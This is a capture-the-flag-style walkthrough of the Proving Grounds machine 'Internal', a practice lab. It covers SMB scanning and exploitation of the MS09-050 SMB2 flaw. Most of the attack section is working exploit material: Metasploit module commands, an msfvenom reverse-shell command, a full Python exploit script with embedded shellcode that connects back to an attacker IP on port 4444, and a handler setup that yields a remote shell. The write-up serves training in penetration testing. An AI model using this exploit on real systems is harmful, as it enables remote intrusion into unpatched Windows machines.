Proving grounds Practice: Internal

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Nmap

PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
3389/tcp  open  tcpwrapped
5357/tcp  open  tcpwrapped
49152/tcp open  tcpwrapped
49153/tcp open  tcpwrapped
49154/tcp open  tcpwrapped
49155/tcp open  tcpwrapped
49156/tcp open  tcpwrapped
49157/tcp open  tcpwrapped
49158/tcp open  tcpwrapped

SMB vulnerability scan

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Exploit DB

img

Exploit using metasploit

msfconsole
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set RHOSTS <target-ip>
set LHOST <local-ip>
run

Exploit without metasploit

Microsoft Windows - ‘srv2.sys’ SMB Code Execution (Python) (MS09-050).

Modified working exploit.

Create reverse shell payload

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.153 LPORT=4444 EXITFUNC=thread -f c

Add the generated shell code as below in the python file.

# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py

#!/usr/bin/python
#This module depends on the linux command line program smbclient. 
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection


try:

    target = sys.argv[1]
except IndexError:
    print '\nUsage: %s <target ip>\n' % sys.argv[0]
    print 'Example: MS36299.py 192.168.1.1 1\n'
    sys.exit(-1)

# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.153 LPORT=4444 EXITFUNC=thread -f c
# use exploit/multi/handler
# set payload windows/shell/reverse_tcp
# set EXITFUNC=thread 
# config lhost and lport then run

shell = ("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b"
"\x48\x18\x50\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d\x99\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a\x0a\x68"
"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

host = target, 445

buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address

#stager_sysenter_hook from metasploit

buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff+=shell

s = socket()
s.connect(host)
s.send(buff)
s.close() 
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)

Troubleshoot smb.SMBConnection

The code is writtent in python2 and there will be an exception due to the pysmb module not present in the system. In order to resolve the issue follow the below steps:

  • Download manually from https://miketeo.net/blog/projects/pysmb.
  • Use unzip to extract and run the setup.py file using python2.
  • Post that install the dependencies if any is missing in your system based on the exception thrown while running the file.
  • Ensure the dependency packages are being installed using pip2.

Run msfconsole

Run msfconsole and configure the below options.

use exploit/multi/handler
set payload windows/shell/reverse_tcp #payload important it should be same as our shellcode payload
set EXITFUNC thread
set LHOST <IP>
set LPORT <PORT>
run

Run the exploit code along with the target IP and wait for few seconds.

img

Reverse shell obtained.

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.

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Naveen J

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast